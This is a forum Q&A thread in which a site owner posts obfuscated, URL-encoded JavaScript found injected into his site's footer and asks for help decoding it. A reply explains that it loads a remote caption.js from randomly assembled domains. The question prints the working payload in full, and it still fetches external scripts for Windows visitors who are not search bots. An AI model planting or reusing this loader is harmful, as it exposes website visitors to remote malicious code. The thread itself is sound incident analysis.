Decode some injected Javascript?

Jonathan Wold picture Jonathan Wold · Aug 2, 2010 · Viewed 48.5k times · Source

I had the following injected into the footer of a site of mine and, in an effort of solving the greater mystery ("How" it happened), I'm trying to decode it. Any ideas?

Here's the code:

<ads><script type="text/javascript">document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%3E%76%61%72%20%61%3D%77%69%6E%64%6F%77%2E%6E%61%76%69%67%61%74%6F%72%2E%75%73%65%72%41%67%65%6E%74%2C%62%3D%2F%28%79%61%68%6F%6F%7C%73%65%61%72%63%68%7C%6D%73%6E%62%6F%74%7C%79%61%6E%64%65%78%7C%67%6F%6F%67%6C%65%62%6F%74%7C%62%69%6E%67%7C%61%73%6B%29%2F%69%2C%63%3D%6E%61%76%69%67%61%74%6F%72%2E%61%70%70%56%65%72%73%69%6F%6E%3B%20%69%66%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%2E%69%6E%64%65%78%4F%66%28%22%68%6F%6C%79%63%6F%6F%6B%69%65%22%29%3D%3D%2D%31%26%26%21%61%2E%74%6F%4C%6F%77%65%72%43%61%73%65%28%29%2E%6D%61%74%63%68%28%62%29%26%26%63%2E%74%6F%4C%6F%77%65%72%43%61%73%65%28%29%2E%69%6E%64%65%78%4F%66%28%22%77%69%6E%22%29%21%3D%2D%31%29%7B%76%61%72%20%64%3D%5B%22%6D%79%61%64%73%2E%6E%61%6D%65%22%2C%22%61%64%73%6E%65%74%2E%62%69%7A%22%2C%22%74%6F%6F%6C%62%61%72%63%6F%6D%2E%6F%72%67%22%2C%22%6D%79%62%61%72%2E%75%73%22%2C%22%66%72%65%65%61%64%2E%6E%61%6D%65%22%5D%2C%65%3D%5B%22%76%61%67%69%2E%22%2C%22%76%61%69%6E%2E%22%2C%22%76%61%6C%65%2E%22%2C%22%76%61%72%73%2E%22%2C%22%76%61%72%79%2E%22%2C%22%76%61%73%61%2E%22%2C%22%76%61%75%74%2E%22%2C%22%76%61%76%73%2E%22%2C%22%76%69%6E%79%2E%22%2C%22%76%69%6F%6C%2E%22%2C%22%76%72%6F%77%2E%22%2C%22%76%75%67%73%2E%22%2C%22%76%75%6C%6E%2E%22%5D%2C%66%3D%4D%61%74%68%2E%66%6C%6F%6F%72%28%4D%61%74%68%2E%72%61%6E%64%6F%6D%28%29%2A%64%2E%6C%65%6E%67%74%68%29%2C%67%3D%4D%61%74%68%2E%66%6C%6F%6F%72%28%4D%61%74%68%2E%72%61%6E%64%6F%6D%28%29%2A%65%2E%6C%65%6E%67%74%68%29%3B%64%74%3D%6E%65%77%20%44%61%74%65%3B%64%74%2E%73%65%74%54%69%6D%65%28%64%74%2E%67%65%74%54%69%6D%65%28%29%2B%39%30%37%32%45%34%29%3B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3D%22%68%6F%6C%79%63%6F%6F%6B%69%65%3D%22%2B%65%73%63%61%70%65%28%22%68%6F%6C%79%63%6F%6F%6B%69%65%22%29%2B%22%3B%65%78%70%69%72%65%73%3D%22%2B%64%74%2E%74%6F%47%4D%54%53%74%72%69%6E%67%28%29%2B%22%3B%70%61%74%68%3D%2F%22%3B%20%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%27%2B%65%5B%67%5D%2B%64%5B%66%5D%2B%27%2F%73%79%73%74%65%6D%2F%63%61%70%74%69%6F%6E%2E%6A%73%22%3E%3C%5C%2F%73%63%72%69%70%74%3E%27%29%7D%3B%3C%2F%73%63%72%69%70%74%3E'));</script></ads>

Answer

Pat picture Pat · Aug 2, 2010

You can decode the string using this tool. Set string conversion options to URL and Decode. Then you can pretty it up with js beautifier.

And because I'm a curious sort, I took a look at the output. It's writing a new caption.js file to your pages from a semi-random domain. There are 2 arrays of URL segments that are used to build the full domain, so I'd say you've got something to go with.